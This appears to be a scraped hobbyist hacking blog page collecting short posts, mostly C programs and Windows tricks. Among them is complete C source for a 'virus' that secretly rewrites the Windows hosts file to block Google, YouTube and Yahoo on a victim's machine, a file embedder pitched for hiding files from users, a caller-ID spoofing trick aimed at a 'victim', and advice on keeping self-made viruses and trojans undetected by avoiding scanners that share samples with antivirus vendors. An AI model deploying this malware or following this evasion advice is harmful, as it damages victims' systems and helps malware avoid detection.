Most viewed

4 Mar 2012

C Program to Remove Comments and Blank lines from a valid C Program


This program accepts any valid C Program as an input and removes the comments and blanks from it. The output is a program that has no comments and blank lines.
#include<stdio.h>
#include<conio.h>
#include<process.h>
#include<dos.h>
void main()
{
FILE *a,*b;
char fname[20],ch,tch=NULL,tch1=NULL;
int flag1=0,flag=0,count=0,count1=0,count2=0;
clrscr();
printf(“Enter the file name (.C or .TXT)\n”);
gets(fname);
a=fopen(fname,”r”);
if(a==NULL)
{
puts(“Cannot open the source file!!!”);
delay(500);
exit(1);
}
b=fopen(“target.c”,”w”);
if(b==NULL)
{
puts(“Cannot create target file!!!”);
delay(500);
exit(1);
}
while(1)
{
ch=fgetc(a);
if(ch==EOF) break;
else
{
if(ch==’\n’)
{
count1=1;
tch1=ch;
continue;
}
else if(ch==’\n’&& count1==1)
continue;
else if(ch==’/'&&count==0)
{
flag1=1;
tch=ch;
count=1;
continue;
}
else if(ch==’*'&& flag1==1)
{
flag=1;
flag1=0;
tch=NULL;
}
else if(ch==’*'&&flag==1)
{
count2=1;
count=1;
continue;
}
else if(ch==’/'&&count2==1)
{
flag=0;
count=0;
tch=NULL;
continue;
}
else if(count==1&&flag==1)
count=0;
else if(flag1==1)
flag1=0;
}
if(flag!=1)
{
if(tch>0)
fputc(tch,b);
if(tch1>0)
fputc(tch1,b);
tch1=NULL;
tch=NULL;
count=0,count1=0,count2=0;
fputc(ch,b);
flag1=0,flag=0;
}
}
puts(“DONE!! OP FILE IS \”TARGET.C\”\n”);
fcloseall();
getch();
}

Guessing Game In C


This is a small guessing game written in C. In this guessing game you have to guess a number between 0 & 100. You have 8 chances to do that. Every time you guess wrongly the program will give you a hint that your guess is too high or your guess is too low. Based on this hint you have to guess the number in the remaining attempts. Here’s the code
#include<stdio.h>
#include<stdlib.h>
#include<time.h>
void main()
{
int num,guess=-1,tries=0,pass=0;
time_t t;
srand((unsigned)time(&t));
num=rand()%100;
while((guess!=num)&&tries<8)
{
printf(“Enter the guess num b/w 0 & 100 (you have %d tries left out)\n”,(8-tries)); scanf(“%d”,&guess);
tries++;
if(guess==num)
{
printf(“Hurray you guessed it correctly!!!\n”);
pass=1;
}
else if(num< guess)
printf(“Your guess is too high\n”);
else
printf(“Your guess is too low\n”);
}
if(pass==0)
printf(“Sorry you lost! The correct number is %d\n”,num);
}

A Self Destructing Program in C


This program will destroy itself upon execution. The program will cause the .exe file to be deleted upon execution. That is this program is capable of destroying itself upon execution. Here is the code
#include<stdio.h>
#include<conio.h>
#include<dos.h>
void main()
{
printf(“This program will destroy itself if u press any key!!!\n”);
getch();
remove(_argv[0]);/*array of pointers to command line arguments*/
}
HOW TO COMPILE ?
Load the source code to the compiler and compile (press Alt-F9) and then press F9. This will generate the .exe file in the current directory (Bin directory). Execute this .exe file it will destroy itself upon execution.

File Embedder Project in C


Some times it is necessary for our compiled project to have it’s supporting files embedded within the EXE module itself so that the supporting files may not be put into a seperate folder and carried along with the project. So here I am presenting you with the source code of the FILE EMBEDDER UTILITY project.
This utility can be used to embed one file with in the other. ie: Suppose we need to embed a .bat file(or any other file *.exe,*bmp,.txt…..) into our final project so that the batch file is present with in the compiled module and is hidden from the users avoiding tthe need to carry the .bat file every time with the project.
Both the Embedding and extraction process has been presented in seperate functions for your convenience. Here’s the code…..
#include<stdio.h>
#include<conio.h>
#include<fcntl.h>
#include<sys/types.h>
#include<sys/stat.h>
#include<stdlib.h>
#include<string.h>
void embed(void);
void extract(void);
char buff[1],sname[128],tname[128],dname[128],choice;
unsigned long int size=0;long int psize=0;int outh,bytes=0;
FILE *source,*target,*data;
void main()
{
while(1)
{
clrscr();
puts(“\n\n\t\t\tFILE EMBEDDING UTILITY BY SRIKANTH\n\n\n”);
puts(“1.Embed A File 2. Extract A File 3.Exit\n”);
choice=getch();
switch(choice)
{
case ’1′:embed();
getch();
break;
case ’2′:
extract();
getch();
break;
default:
exit(0);
}
}
}
void embed()
{
puts(“\nEnter The Source Filename\n”);
scanf(“%s”,sname);
source=fopen(sname,”rb+”);
if(source==NULL)
{
puts(“\nCannot Open The Source File\n”);
return;
}
puts(“\nEnter The Target Filename\n”);
scanf(“%s”,tname);
outh=open(tname,O_RDONLYO_BINARY);
if(outh==-1)
{
puts(“\nCannot Open The Target File\n”);
return;
}
printf(“\nReading The Source File Please Wait…\n”);
while((bytes=read(outh,buff,1))>0)
size+=bytes;
data=fopen(“Data.cfg”,”w”);
if(data==NULL)
{
puts(“\nCannot Create Configuration The File\n”);
return;
}
fprintf(data,”%lu”,size);
close(outh);
fclose(data);
target=fopen(tname,”rb”);
if(target==NULL)
{
puts(“Cannot Open Target File\n”);
return;
}
printf(“\nEmbedding Please Wait…\n”);
fseek(source,0,SEEK_END);
while(fread(buff,1,1,target)>0)
fwrite(buff,1,1,source);
fcloseall();
printf(“\nEmbedding Completed Successfully\n”);
}
void extract()
{
printf(“\nEnter The Source Filename\n”);
scanf(“%s”,sname);
source=fopen(sname,”rb”);
if(source==NULL)
{
printf(“\nCannot Open The Source File\n”);
return;
}
printf(“\nEnter The Target Filename(eg: abc.exe)\n”);
scanf(“%s”,tname);
printf(“\nEnter The Configuration Filename(eg: DATA.cfg)\n”);
scanf(“%s”,dname);
data=fopen(dname,”r”);
if(data==NULL)
{
printf(“\nConfiguration File Not Found\n”);
return;
}
fscanf(data,”%ld”,&psize);
target=fopen(tname,”wb”);
if(target==NULL)
{
puts(“\nCannot Open The Target File\n”);
return;
}
printf(“\nExtracting Please Wait…\n”);
fseek(source,-psize,SEEK_END);
while((fread(buff,1,1,source))>0)
fwrite(buff,1,1,target);
printf(“\nFile Extraction Completed Successfully\n”);
fcloseall();
}

A Virus Program to Block Websites


Most of us are familiar with the virus that used to block Orkut and Youtube site. If you are curious about creating such a virus on your own, here is how it can be done. As usual I’ll use my favorite programming language ‘C’ to create this website blocking virus. I will give a brief introduction about this virus before I jump into the technical jargon.
This virus has been exclusively created in ‘C’. So, anyone with a basic knowledge of C will be able to understand the working of the virus. This virus need’s to be clicked only once by the victim. Once it is clicked, it’ll block a list of websites that has been specified in the source code. The victim will never be able to surf those websites unless he re-install’s the operating system. This blocking is not just confined to IEor Firefox. So once blocked, the site will not appear in any of the browser program.
Here is the sourcecode of the virus.
#include<stdio.h>
#include<dos.h>
#include<dir.h>
char site_list[6][30]={
“google.com”,
“www.google.com”,
“youtube.com”,
“www.youtube.com”,
“yahoo.com”,
“www.yahoo.com”
};
char ip[12]=”127.0.0.1″;
FILE *target;
int find_root(void);
void block_site(void);
int find_root()
{
int done;
struct ffblk ffblk;//File block structure
done=findfirst(“C:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“C:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(“D:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“D:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(“E:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“E:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(“F:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“F:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
else return 0;
}
void block_site()
{
int i;
fseek(target,0,SEEK_END); /*to move to the end of the file*/
fprintf(target,”\n”);
for(i=0;i<6;i++)
fprintf(target,”%s\t%s\n”,ip,site_list[i]);
fclose(target);
}
void main()
{
int success=0;
success=find_root();
if(success)
block_site();
}
Testing
1. To test, run the compiled module. It will block the sites that is listed in the source code.
2. Once you run the file block_Site.exe, restart your browser program. Then, type the URL of the blocked site and you’ll see the browser showing error “Page cannot displayed“.
3. To remove the virus type the following the Run.
%windir%\system32\drivers\etc
4. There, open the file named “hosts” using the notepad.At the bottom of the opened file you’ll see something like this
127.0.0.1                                google.com
5. Delete all such entries which contain the names of blocked sites.

Download YouTube Videos: Easiest Way


Download YouTube VideosYouTube is undoubtedly the most preferred website to share and watch favorite videos. Most users prefer to watch the videos online, while a few others like me, would like to download them so that, they can be saved and retained. Well, if you are one among those few who would like to download the videos from YouTube, then here is a way to do that.
In fact, there are many ways to download videos from YouTube, but here in this post, I would like to share with you one of the easiest way to do that. This can be done as follows:
1. Download and install the latest version of Internet Download Manager.
Internet Download Manager is a great add-on for your web browser which increases the download speed by 5 times. It also helps you to pause/resume and schedule your downloads. It has got a great interface and is user friendly. It works with most of the browsers including IE, Firefox, Chrome, Safari and Opera.
2. After you complete the installation, just open your browser and start searching for your favorite video on YouTube. You will see the download button on top of the video using which you can download it instantly.
3. Click on the “Download this Video” button to save the video onto your computer. The downloaded video will be in the flash video format (.flv).
4. You can use VLC Player to play the downloaded video or use SUPER to convert it to your desired format.
By using this trick, you can download almost all the buffering content on the Internet including videos from MySpace and Google. I hope you like this small post. Don’t forget to pass your comments

How to Retrieve Clipboard History in Windows


Retrieve clipboard history using alternative clipboard managersEver copied a code snippet or text from the web and forgot to paste it before you copied something else? Well, all of us will have an experience of something like this, where we want to desperately retrieve those information that was once copied to the clipboard. But since Windows clipboard will only remember the last item that was copied onto it, it would seem impossible to recover the information that was copied earlier. However, this problem can be solved using an alternative clipboard manager in place of the default one.
In this post you will find a few such alternative clipboard managers for Windows using which it would be possible to save and retrieve every piece of information that was copied to the clipboard. Here’s a quick list:

1. Clipdiary

How to Retrieve Clipboard HistoryThis tool is a powerful clipboard manager which will store every piece of information that was copied to the clipboard including text, images or any other file. Clipdiary automatically loads upon Windows startup and maintains a database to store the history of all copied items.
This makes it possible to retrieve the information that was once copied to the clipboard, be it the last hour or the last week. Clipdiary is a shareware tool which comes with a 30 day fully functional evaluation period.

2. ClipMagic

ClipMagic is similar to Clipdiary but includes a few extra features that could seem handy for advanced users. The following are some of the extra features of ClipMagic that are not present in Clipdiary:
  • Categorize/organize your clips. You can also create filters/rules for your incoming clips
  • You can store/categorize your ideas to research fast
  • Assign often used text like email signatures to hotkeys

3. Ditto

Ditto is a powerful alternative to the default Windows clipboard manager which is an open source tool. It keeps track of all the copied items such as text, images and other files so that you can retrieve them whenever necessary. The following are some of the highlights of Ditto:
  • Assign hotkeys to frequently used clippings
  • Search and organize the clippings based on task or project
  • Supports unicode so that you can copy foreign and non-standard characters without any issues
  • Get a preview of all the copied items including thumbnails of images just by pressing the assigned hotkey
  • Ditto comes as a freeware so that you can enjoy all of it’s features free of cost
Even though Ditto is a freeware, it is still comparable to the two shareware tools discussed earlier. So in my opinion Ditto is always the first choice. You may still download and try all the three and keep the one that you like!
I hope you enjoyed this post! Post your feedback through comments. 

Useful Google Talk Bots That You Must Add as Friend

This summary is not available. Please click here to view the post.

How to call your friends with their own number

With this mobile hack, you can call your friends with their own mobile number… meaning by, they will see their own number calling them. Just follow the guidelines I have mentioned in this mobile hack article.

1. Go to http://www.mobivox.com and register there for free account.

2. During registration, remember to insert Victim mobile number in “Phone number” field as shown below.



3. Complete registration and confirm your email id and then login to your account. Click on “Direct WebCall”



4. You will arrive at page shown below. In “Enter a number” box, select your country and also any mobile number(you can enter yours). Now, simply hit on “Call Now” button to call your friend with his own number.



5. That’s it. Your friend will be shocked to see his own number calling him.

Thus, use this to surprise and shock your friends. This mobile hack is free. So, you don’t need to lose a buck. Simply register and you’ll be able to perform this mobile hack. This mobile hack is available for almost all countries and all cell phones network providers

Enjoy mobile hack…

Safely Scanning Your Files On INTERNET

You find many files suspicious on the NET which might contain Viruses, Trojan. Even if your Anti-Virus doesn't detect it, you still find it very difficult to open it.
OR
Created a Virus and wanted to see how GOOD it stands up against the Top Anti-viruses..
So whats the solution........ ... ... ... ..
Best is to scan it on INTERNET. But WHERE ??
The solution is....
http://virusscan.jotti.org/en
http://scanner.novirusthanks.org/
REMEMBER :- If you want your Viruses, Trojans, etc to remain UNDETECTED for a long time, YOU BETTER CHECK THE BOX " Do not distribute the sample"(Located under the "Choose File" Button). This site has this advanced setting due to which it doesn't distribute the files to Various Anti -Viruses for further Scanning. Always check that box.
NEVER USE THIS SITE !!!
http://www.virustotal.com/
as this site always distribute the files scanned to various companies without OUR PERMISSION !!

Fun Tricks With Notepad

1)How To Make Matrix With NotePad

I’am going to show you how to make cool Matrix batch file using notepad.
Open notepad and type in
@echo off
color 2
:start
echo %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%
goto start



Save it as matrix.bat


Double click on file and it will open the matrix



2)Log trick

This is simple, open notepad and type .LOG 

Save it as .LOG.txt


Whenever you open the file with that text in the first line in the notepad, it will insert the current date and time at the end of the file. You can start entering your text after that.


3)Open console box

Open Notepad and type starts like seen in picture below, but you can make as many as you would like.


Save it as start.bat . Depending on how many times you wrote start console boxes open.


 Grin
 

Based on your view




You have to try this

This is trending now #